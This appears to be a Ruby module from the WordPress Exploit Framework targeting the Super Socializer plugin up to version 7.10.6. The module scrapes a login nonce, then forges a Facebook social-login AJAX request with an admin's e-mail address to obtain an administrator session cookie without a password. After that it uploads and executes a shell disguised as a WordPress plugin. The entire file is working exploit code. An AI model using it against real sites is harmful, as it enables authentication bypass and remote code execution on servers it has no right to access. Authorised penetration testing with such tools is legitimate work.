lib/wpxf/modules/exploit/shell/super_socializer_shell_upload.rb
# frozen_string_literal: true
class Wpxf::Exploit::SuperSocializerShellUpload < Wpxf::Module
include Wpxf
include Wpxf::Net::HttpClient
include Wpxf::WordPress::Plugin
include Wpxf::WordPress::Login
def initialize
super
update_info(
name: 'Super Socializer <= 7.10.6 Authentication Bypass',
desc: %(
Super Socializer <= 7.10.6 is vulnerable to an
authentication bypass exploit if an attacker is
in posession of an admin's e-mail address and the
social login feature is enabled.
This module will acquire an admin session by utilising
the aforementioned vulnerability and upload a shell
packaged as a WordPress plugin.
),
author: [
'rastating' # WPXF module
],
references: [
['WPVDB', '9043']
],
date: 'Mar 03 2018'
)
register_options([
StringOption.new(
name: 'admin_email',
desc: 'The e-mail address of the admin user to authenticate as',
required: true
)
])
end
def check
check_plugin_version_from_readme('super-socializer', '7.10.7')
end
def fetch_nonce
emit_info 'Fetching a login nonce...'
res = execute_get_request(url: wordpress_url_login)
return false unless res&.code == 200
pattern = /var\sthe_champ_sl_ajax_token\s=\s{"ajax_url":".+?","security":"([a-z0-9]+?)"};/i
self.login_nonce = res.body[pattern, 1]
if login_nonce.nil?
emit_error 'Failed to fetch a login nonce'
return false
else
emit_success "Found nonce: #{login_nonce}", true
return true
end
end
def login
res = execute_post_request(
url: wordpress_url_admin_ajax,
body: {
'action' => 'the_champ_user_auth',
'security' => login_nonce,
'profileData[id]' => Wpxf::Utility::Text.rand_alpha(6),
'profileData[link]' => Wpxf::Utility::Text.rand_alpha(6),
'profileData[name]' => Wpxf::Utility::Text.rand_alpha(6),
'profileData[email]' => datastore['admin_email'],
'profileData[first_name]' => Wpxf::Utility::Text.rand_alpha(6),
'profileData[last_name]' => Wpxf::Utility::Text.rand_alpha(6),
'provider' => 'facebook',
'redirectionUrl' => full_uri
}
)
return false unless res&.cookies
if valid_wordpress_cookie?(res.cookies.to_s)
self.session_cookie = res.cookies.to_s
return res.cookies
else
emit_error 'Failed to authenticate'
return false
end
end
def run
return false unless super
return false unless fetch_nonce
emit_info "Authenticating as #{datastore['admin_email']}..."
return false unless login
emit_info 'Uploading payload...'
res = upload_payload_as_plugin_and_execute(
Utility::Text.rand_alpha(10),
Utility::Text.rand_alpha(10),
session_cookie
)
!res.nil?
end
attr_accessor :session_cookie
attr_accessor :login_nonce
end